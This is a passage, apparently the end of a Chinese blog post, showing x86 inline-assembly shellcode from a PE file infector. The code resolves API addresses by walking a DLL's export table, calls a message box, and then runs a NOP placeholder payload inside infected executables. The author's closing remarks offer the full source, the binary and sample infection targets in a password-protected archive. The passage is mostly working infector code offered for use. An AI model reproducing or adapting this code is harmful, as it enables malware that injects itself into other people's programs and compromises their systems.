_ExitProcessOver: mov [ebp-0x44],edi pop eax //第二分段 push eax push eax push eax pop eax pop eax pop eax mov eax,[ebp-4] mov ebx,[ebp-0x34] lea edi,[ebx] mov edx,edi xor eax,eax _Scasb: scasb jnz _Scasb dec edi sub edi,edx mov ebx,edi mov ecx,[ebp-0x10] _LoadLA: mov eax,[ebp-0x18] add eax,[ebp-0x8] mov eax,[eax+ecx*4-4] add eax,[ebp-0x8] lea edi,[eax] mov esi,edx push ecx mov ecx,ebx repz cmpsb jz _F pop ecx loop _LoadLA _F: pop ecx mov eax,[ebp-0x1c] add eax,[ebp-0x8] movzx ebx,word ptr[eax+ecx*2-2] mov eax,[ebp-0x14] add eax,[ebp-0x8] mov eax,[eax+ebx*4] add eax,[ebp-0x8] mov [ebp-0x20],eax mov eax,[ebp-0x4] mov ebx,[ebp-0x38] lea edi,[ebx] mov ebx,edi xor eax,eax _Sca: scasb jnz _Sca dec edi sub edi,ebx mov edx,edi mov ecx,[ebp-0x10] _GetFuncAddress: mov eax,[ebp-0x18] add eax,[ebp-0x8] mov eax,[eax+ecx*4-4] add eax,[ebp-0x8] lea esi,[eax] mov edi,ebx push ecx mov ecx,edx repz cmpsb jz _FoundGetFuncAddress pop ecx loop _GetFuncAddress _FoundGetFuncAddress: pop ecx mov eax,[ebp-0x1c] add eax,[ebp-0x8] movzx ebx,word ptr[eax+ecx*2-2] mov eax,[ebp-0x14] add eax,[ebp-0x8] mov eax,[eax+ebx*4] add eax,[ebp-0x8] mov [ebp-0x24],eax mov eax,[ebp-4] mov ebx,[ebp-0x44] lea edi,[ebx] mov ebx,edi xor eax,eax _ScaExitProcess: scasb jnz _ScaExitProcess dec edi sub edi,ebx mov edx,edi mov ecx,[ebp-0x10] _GetExitProcess: mov eax,[ebp-0x18] add eax,[ebp-0x8] mov eax,[eax+ecx*4-4] add eax,[ebp-0x8] lea esi,[eax] mov edi,ebx push ecx mov ecx,edx repz cmpsb jz _FoundExitProcess pop ecx loop _GetExitProcess _FoundExitProcess: pop ecx mov eax,[ebp-0x1c] add eax,[ebp-0x8] movzx ebx,word ptr[eax+ecx*2-2] mov eax,[ebp-0x14] add eax,[ebp-0x8] mov eax,[eax+ebx*4] add eax,[ebp-0x8] mov [ebp-0x28],eax //第三分段 push eax push eax push eax pop eax pop eax pop eax mov eax,[ebp-0x20] mov ebx,[ebp-0x4] mov edx,[ebp-0x3c] //lea edx,[edx] push edx call eax cmp eax,-1 jz _Over mov edx,[ebp-0x40] // mov edx,[edx] push edx push eax mov eax,[ebp-0x24] call eax cmp eax,-1 jz _Over mov ebx,[ebp-0x4] push 4 mov edx,[ebp-0x30] push edx mov edx,[ebp-0x2c] push edx push 0 call eax cmp eax,6 //IDOK=6,IDNO=7 jnz _Over _emit 0x90 _emit 0x90 _emit 0x90 _emit 0x90 _emit 0x90 _emit 0x90 _Over: mov esp,ebp ret } } void _declspec(naked) GetEndAddress() { _asm ret; }
以上代码写的有点混乱,重复代码也比较多,凑活看吧。差点忘了,软件运行界面

最后附上源码+bin+测试用的感染目标
PE感染.rar[解压密码:pepe]